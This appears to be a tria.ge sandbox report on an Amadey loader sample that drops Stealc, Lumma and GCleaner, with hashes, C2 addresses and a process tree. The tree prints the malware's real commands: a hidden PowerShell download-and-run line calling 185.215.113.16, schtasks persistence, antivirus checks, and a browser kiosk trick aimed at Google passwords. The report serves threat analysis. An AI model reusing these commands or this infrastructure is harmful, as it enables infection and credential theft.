Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

afcfb82c3f...67.exe

windows7-x64

10

afcfb82c3f...67.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    111s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    25/01/2025, 16:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    afcfb82c3f1a4399fd6fa9297c8b9417152bc798f2a194528a6af7faba5c6967.exe

  • Size

    1.9MB

  • MD5

    b58f41c35fe6b79046d9aa084a175eb9

  • SHA1

    7b18e2694be1d189282b8b59f391e298aa9d88ee

  • SHA256

    afcfb82c3f1a4399fd6fa9297c8b9417152bc798f2a194528a6af7faba5c6967

  • SHA512

    7e9bd888e41a2bb3f07f5f63d236ee491c5265ef6014f9adee03411276d53d104511a00eddb5653663e037561fe0c84b7c0d986ac4f3332fa4c1928d837bcccf

  • SSDEEP

    24576:pVSxYYf9Y/cLwPA5g3whoyTMZbBlJhRi6JAYcuR45J5XKCHat/STYu0ZnebEone5://TPAowhZMfbiPYFG5fFHGugneAAPk

Score
10/10
amadeygcleanerlummastealc9c9aa5bratdefense_evasiondiscoveryexecutionloaderpersistencestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/mine/random.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

stealc

Botnet

brat

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

lumma

C2

https://toppyneedus.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 8 IoCs
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 12 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 24 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 22 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\afcfb82c3f1a4399fd6fa9297c8b9417152bc798f2a194528a6af7faba5c6967.exe
    "C:\Users\Admin\AppData\Local\Temp\afcfb82c3f1a4399fd6fa9297c8b9417152bc798f2a194528a6af7faba5c6967.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Identifies Wine through registry keys
    • Loads dropped DLL
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
      "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Downloads MZ/PE file
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2840
      • C:\Users\Admin\AppData\Local\Temp\1052910001\EzbI6jr.exe
        "C:\Users\Admin\AppData\Local\Temp\1052910001\EzbI6jr.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1788
        • C:\Users\Admin\AppData\Local\Temp\1052910001\EzbI6jr.exe
          "C:\Users\Admin\AppData\Local\Temp\1052910001\EzbI6jr.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          PID:1680
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1788 -s 516
          4⤵
          • Loads dropped DLL
          • Program crash
          PID:3004
      • C:\Users\Admin\AppData\Local\Temp\1052916001\9d9ff84207.exe
        "C:\Users\Admin\AppData\Local\Temp\1052916001\9d9ff84207.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /c copy Turner Turner.cmd & Turner.cmd
          4⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2208
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2140
          • C:\Windows\SysWOW64\findstr.exe
            findstr /I "opssvc wrsa"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1008
          • C:\Windows\SysWOW64\tasklist.exe
            tasklist
            5⤵
            • Enumerates processes with tasklist
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2316
          • C:\Windows\SysWOW64\findstr.exe
            findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2656
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c md 764661
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2896
          • C:\Windows\SysWOW64\extrac32.exe
            extrac32 /Y /E Fm
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2552
          • C:\Windows\SysWOW64\findstr.exe
            findstr /V "Tunnel" Addresses
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1524
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c copy /b 764661\Macromedia.com + Totally + York + Drunk + Baghdad + Benz + Glasses + Pac + Tender + Racing + Deluxe + Derived 764661\Macromedia.com
            5⤵
            • System Location Discovery: System Language Discovery
            PID:3008
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c copy /b ..\Complement + ..\Soundtrack + ..\Plumbing + ..\Hills F
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1464
          • C:\Users\Admin\AppData\Local\Temp\764661\Macromedia.com
            Macromedia.com F
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1824
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks.exe /create /tn "AchillesGuard" /tr "wscript //B 'C:\Users\Admin\AppData\Local\GuardTech Solutions\AchillesGuard.js'" /sc onlogon /F /RL HIGHEST
              6⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:2276
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
                PID:2968
            • C:\Windows\SysWOW64\choice.exe
              choice /d y /t 15
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2544
        • C:\Users\Admin\AppData\Local\Temp\1052917001\4a5a8f7ce6.exe
          "C:\Users\Admin\AppData\Local\Temp\1052917001\4a5a8f7ce6.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          PID:1096
        • C:\Users\Admin\AppData\Local\Temp\1052918001\b47b7bcbc1.exe
          "C:\Users\Admin\AppData\Local\Temp\1052918001\b47b7bcbc1.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:1688
        • C:\Users\Admin\AppData\Local\Temp\1052919001\46286aabf6.exe
          "C:\Users\Admin\AppData\Local\Temp\1052919001\46286aabf6.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          PID:2548
        • C:\Users\Admin\AppData\Local\Temp\1052920001\29b1d0bfe9.exe
          "C:\Users\Admin\AppData\Local\Temp\1052920001\29b1d0bfe9.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:816
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM firefox.exe /T
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2320
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM chrome.exe /T
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:652
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM msedge.exe /T
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2056
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM opera.exe /T
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2096
          • C:\Windows\SysWOW64\taskkill.exe
            taskkill /F /IM brave.exe /T
            4⤵
            • System Location Discovery: System Language Discovery
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1740
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
            4⤵
              PID:3024
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                5⤵
                • Checks processor information in registry
                • Modifies registry class
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:872
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.0.1507432617\244456697" -parentBuildID 20221007134813 -prefsHandle 1224 -prefMapHandle 1140 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ecb7a2f-1476-4af6-9abd-ff6e5e0101da} 872 "\\.\pipe\gecko-crash-server-pipe.872" 1344 fceed58 gpu
                  6⤵
                    PID:928
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.1.120718179\699204080" -parentBuildID 20221007134813 -prefsHandle 1500 -prefMapHandle 1496 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b9389355-bd60-4762-94a2-b5b2771b9672} 872 "\\.\pipe\gecko-crash-server-pipe.872" 1512 f74858 socket
                    6⤵
                      PID:2152
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.2.715306826\244655355" -childID 1 -isForBrowser -prefsHandle 2012 -prefMapHandle 2008 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 712 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {887a2c74-9b8c-4643-95d9-472a7ee988aa} 872 "\\.\pipe\gecko-crash-server-pipe.872" 2024 18695158 tab
                      6⤵
                        PID:2452
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.3.1719290803\1867486137" -childID 2 -isForBrowser -prefsHandle 2916 -prefMapHandle 2912 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 712 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b4673769-5a49-42fb-a842-de6e7e63c88a} 872 "\\.\pipe\gecko-crash-server-pipe.872" 2928 1b2f5b58 tab
                        6⤵
                          PID:2560
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.4.10416045\1864732787" -childID 3 -isForBrowser -prefsHandle 3972 -prefMapHandle 3968 -prefsLen 26531 -prefMapSize 233444 -jsInitHandle 712 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {e10d07e6-5ce7-4467-a0f0-acbd3331f194} 872 "\\.\pipe\gecko-crash-server-pipe.872" 3984 19596e58 tab
                          6⤵
                            PID:2056
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.5.238795342\1237103940" -childID 4 -isForBrowser -prefsHandle 4084 -prefMapHandle 4088 -prefsLen 26531 -prefMapSize 233444 -jsInitHandle 712 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {093f039e-ea44-4f7c-a9b2-2f6d46e82d80} 872 "\\.\pipe\gecko-crash-server-pipe.872" 4072 1f685f58 tab
                            6⤵
                              PID:2540
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="872.6.1601082546\15173152" -childID 5 -isForBrowser -prefsHandle 4268 -prefMapHandle 4272 -prefsLen 26531 -prefMapSize 233444 -jsInitHandle 712 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f4497e1-5431-4529-9c89-bfbc169c3b1a} 872 "\\.\pipe\gecko-crash-server-pipe.872" 4256 1fb4db58 tab
                              6⤵
                                PID:784
                        • C:\Users\Admin\AppData\Local\Temp\1052921001\bf8b735584.exe
                          "C:\Users\Admin\AppData\Local\Temp\1052921001\bf8b735584.exe"
                          3⤵
                          • Executes dropped EXE
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of FindShellTrayWindow
                          • Suspicious use of SendNotifyMessage
                          PID:2800
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c schtasks /create /tn 7H2iimaNbTG /tr "mshta C:\Users\Admin\AppData\Local\Temp\ZSYFnD3fs.hta" /sc minute /mo 25 /ru "Admin" /f
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2160
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /create /tn 7H2iimaNbTG /tr "mshta C:\Users\Admin\AppData\Local\Temp\ZSYFnD3fs.hta" /sc minute /mo 25 /ru "Admin" /f
                              5⤵
                              • System Location Discovery: System Language Discovery
                              • Scheduled Task/Job: Scheduled Task
                              PID:652
                          • C:\Windows\SysWOW64\mshta.exe
                            mshta C:\Users\Admin\AppData\Local\Temp\ZSYFnD3fs.hta
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2960
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'K3UJ5CVUORQKMPXAXMB98LFYXDTVW5OP.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
                              5⤵
                              • Blocklisted process makes network request
                              • Command and Scripting Interpreter: PowerShell
                              • Downloads MZ/PE file
                              • Loads dropped DLL
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3032
                              • C:\Users\Admin\AppData\Local\TempK3UJ5CVUORQKMPXAXMB98LFYXDTVW5OP.EXE
                                "C:\Users\Admin\AppData\Local\TempK3UJ5CVUORQKMPXAXMB98LFYXDTVW5OP.EXE"
                                6⤵
                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                • Checks BIOS information in registry
                                • Executes dropped EXE
                                • Identifies Wine through registry keys
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious behavior: EnumeratesProcesses
                                PID:1644
                        • C:\Users\Admin\AppData\Local\Temp\1052922001\7a5595e3ff.exe
                          "C:\Users\Admin\AppData\Local\Temp\1052922001\7a5595e3ff.exe"
                          3⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3296
                        • C:\Users\Admin\AppData\Local\Temp\1052923001\7d56d1650b.exe
                          "C:\Users\Admin\AppData\Local\Temp\1052923001\7d56d1650b.exe"
                          3⤵
                            PID:3636
                            • C:\Users\Admin\AppData\Local\Temp\1052923001\7d56d1650b.exe
                              "C:\Users\Admin\AppData\Local\Temp\1052923001\7d56d1650b.exe"
                              4⤵
                                PID:3684
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 516
                                4⤵
                                • Program crash
                                PID:3740

                        Network

                        MITRE ATT&CK Enterprise v15

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Scheduled Task/Job

                        1
                        T1053

                        Scheduled Task

                        1
                        T1053.005

                        Defense Evasion

                        Modify Registry

                        2
                        T1112

                        Subvert Trust Controls

                        1
                        T1553

                        Install Root Certificate

                        1
                        T1553.004

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Credential Access

                        Discovery

                        Process Discovery

                        1
                        T1057

                        Query Registry

                        5
                        T1012

                        System Information Discovery

                        3
                        T1082

                        System Location Discovery

                        1
                        T1614

                        System Language Discovery

                        1
                        T1614.001

                        Virtualization/Sandbox Evasion

                        2
                        T1497

                        Lateral Movement

                        Collection

                        Command and Control

                        Exfiltration

                        Impact

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\bhzluvd5.default-release\activity-stream.discovery_stream.json.tmp
                          Filesize

                          26KB

                          MD5

                          56a555dd8e65c5348ed2b7091348633d

                          SHA1

                          371686fc43bc2d3650af8926dd65ecf58f3822cc

                          SHA256

                          4c130218be4b12ba0aaa14072079456d30e20117637538ef2e0d845768955e30

                          SHA512

                          a6527b87f161a49627beb7603cb51906c84d31b6b618b717b01e5ff105bf6b26eca5947c863761efcda10f0297dcf3409476d210852f53bcf3e392683989c6b9

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\bhzluvd5.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                          Filesize

                          15KB

                          MD5

                          96c542dec016d9ec1ecc4dddfcbaac66

                          SHA1

                          6199f7648bb744efa58acf7b96fee85d938389e4

                          SHA256

                          7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                          SHA512

                          cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052910001\EzbI6jr.exe
                          Filesize

                          549KB

                          MD5

                          d9229fff67cf63494af7242d898c68a1

                          SHA1

                          4cf80b1dcfb5d9233e87d11b062f0c6ed9a5866c

                          SHA256

                          6524beb8407321f618601a2194e5de4c07ee4aa1c53ede93208dd3385037d0e8

                          SHA512

                          0bcef3f512a71be8d2d56160dbe0b26d840a33b1c546323046afb3f1a24e281a00cc118600442064df6553fdd3c697de346998b392df2751070ef90eac42c899

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052916001\9d9ff84207.exe
                          Filesize

                          846KB

                          MD5

                          c3d89e95bfb66f5127ac1f2f3e1bd665

                          SHA1

                          bd79a4a17cc8ad63abdde20d9de02d55d54903f9

                          SHA256

                          5d07ad572a6a37d07d0b7ca990087960ad8850d7cfc56b8c7270c826c70fb56b

                          SHA512

                          d85116e24cf07f3063837fab1859ae6d9313dd269e28844900cbebe7521df8c65db97bc122bb097e9887d686bdf8f786b93a06208d762fded9035d2c6448a111

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052917001\4a5a8f7ce6.exe
                          Filesize

                          1.8MB

                          MD5

                          c130357931a727566a3a776100cf1f02

                          SHA1

                          c5da4040d2179c7c2a4367e356c8b010b0eff326

                          SHA256

                          cba3aefa935818f76928c356d105d634363f6355a48e52ac321677d0a94504d1

                          SHA512

                          d8c960ee698f62a0477e23210b6ff66a8de38f1e34285e0106eb39c9d8c41d268117d59a5ee8bb18ba7d8a3dc04500b66c0ddc4353c6f48dbf1e5f6d6998bc89

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052918001\b47b7bcbc1.exe
                          Filesize

                          1.8MB

                          MD5

                          ef2aaf6328e522d6505a64978c956928

                          SHA1

                          d2ee3d6c5dd57a35549a752cf50e775ad01eeb76

                          SHA256

                          4204bff10546a4fff499e3638c08e0d1ca185cc2d9a25e79caa0e85aacd5e3d9

                          SHA512

                          c888b4aa1550a02cb67fe636668ddf67d19eaa436fdeb24537197ab4dd2e57d811bd82bbcc4d4ef28b67354ec28df2a173333784e7ad243c1c7c78e3333b23b1

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052919001\46286aabf6.exe
                          Filesize

                          1.7MB

                          MD5

                          0c934037292e1538c2f76cfb2b4c00e1

                          SHA1

                          ebdd34bf1128d7e3bf195f0d457c807ccb7ba3f1

                          SHA256

                          9caab04fb3c68579e9bca99a3120609230a107ebd80d12e2ae5dcff90bac4173

                          SHA512

                          04eb2e6f880d5465e7417f4a60538107f44f139047b1b45aef715c4b17f01abfbaee095201be5e0995198adc626d9a65543f04eead687a04a5a489f01ca058b4

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052920001\29b1d0bfe9.exe
                          Filesize

                          944KB

                          MD5

                          d1431b6da0ec22ef5f3b22d3059acd75

                          SHA1

                          a4b0f4f65abc671f23a750aed42f6c5088469520

                          SHA256

                          defb27b6f937529ef4f1457f0d2a8d996220c5ba288f97f6c0b2cb7e1ecc26bd

                          SHA512

                          4a7f9f548b434eb6481561902c2b1e9cea75dd2ccd6d75e98482d2dca3bda4572dcc384313baa4045b504093c5418fc50b011ed1eef473c35f8116d1f810b1ba

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052921001\bf8b735584.exe
                          Filesize

                          938KB

                          MD5

                          10f0fea718a086aa4a478fcef2fb184f

                          SHA1

                          53180779ada1e29e2cbc6e43cbddb774b916d88f

                          SHA256

                          f5e3c61f96ba0e1986c5f9a2264b2d550d2aa080fd0cf40ed18773583590eb72

                          SHA512

                          27098c55bf745144a0f912339c169835c9f721861effc9b87632620e744cfeec724a41f10f65e0fec4c367510f4c2e6a7fa65a0f195751064de2ed2b61deea6d

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052922001\7a5595e3ff.exe
                          Filesize

                          1.8MB

                          MD5

                          15838795f1e1a07c33f4e7774f561ee5

                          SHA1

                          e4f7657e3de303e7b45132f21ed5d6e4586dea5f

                          SHA256

                          ec42f48aacfa01517907a227a1d499b4b37c1a272e33572ef9dc1a63582e3c07

                          SHA512

                          46483a6e3de88c97a7359209dafbd6c8dfc6fe501d1b1275f5bc15fa40fcaaee444e8030b3da9413617b77fc8873aba60f1de83f1e555ec49c2cdd9fd08d49f8

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\1052923001\7d56d1650b.exe
                          Filesize

                          360KB

                          MD5

                          01158ee151968c083231c083d408785c

                          SHA1

                          ac9858abc36ac00f41463d6e94bd9fed94c637a7

                          SHA256

                          b18cebbbfea253c5be93a66f96352e0de18fe51c9b13d340d2b483ccf36d3953

                          SHA512

                          7dd316c4add287828b285231ae26eb1cb4c87bf27ca7729c826ff09ce1b8cac32b874f6c447ed3a44f501df752b22eeb1b64f65cf930d7af7057328cb1b49ac6

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\764661\F
                          Filesize

                          230KB

                          MD5

                          47840b8162b9c6e7fe90ab0603d61f93

                          SHA1

                          2bcfbadfa40e35f1ef64e4a048f2df2e03ffbb5a

                          SHA256

                          5e0f8bf19cc0e550fbc57f447e5b07597b9a2b04a71a4e67b10eb616f114d90b

                          SHA512

                          9cf08d2f0bc4987b199bd893d398950a71a3a4a0f568da94aef236a9928b0b07b6ea54dfae967e36c2c518a7c715a52d083c50ddcabe3a439c87e6153caddb00

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\764661\Macromedia.com
                          Filesize

                          758B

                          MD5

                          7a35f97ea68059a40497c814f2c10a5f

                          SHA1

                          279527870f42cea02ab3d90bcd174e8992d2163a

                          SHA256

                          097448d843adb271e655a648e16183d38d08293ce19aedcfaf017cebaecd6bd1

                          SHA512

                          21d6b7562245f3049f5752bec170186ee5d75eceab2a5f652c0eddb884802c30f1efa2d7b57931e772b42cc30697326636ecb41b5d6e2891e744094e203f40f5

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\Addresses
                          Filesize

                          764B

                          MD5

                          41c199d56ee88613939ba36689b5272f

                          SHA1

                          c8ea27720461568200a6b1e65b26fcf34e0c40fa

                          SHA256

                          bc9e83d6b316359195dd0e515be2163998a0100587f2f8a2105352afc8ef48e4

                          SHA512

                          66511d865cdeb5039a660cd9551477c126d36eccaafa189c4c3dd97a31d4009a772e4138efc05ea0a840310c2f7b9a8ea1257432c310b706a06d9b052d306df2

                          Download Submit

                        • C:\Users\Admin\AppData\Local\Temp\Baghdad
                          Filesize

                          122KB

                          MD5

                          db32131c3970c57d0ad200b8c586b9c8

                          SHA1

                          adb5d20e012b668ad6cc77c166ade302607795dc

                          SHA256

                          edd149ee8fc4e9ba7b0633b0b34bbc60f49fd4af949bbd06cdc46effcf9ec4a5

                          SHA512

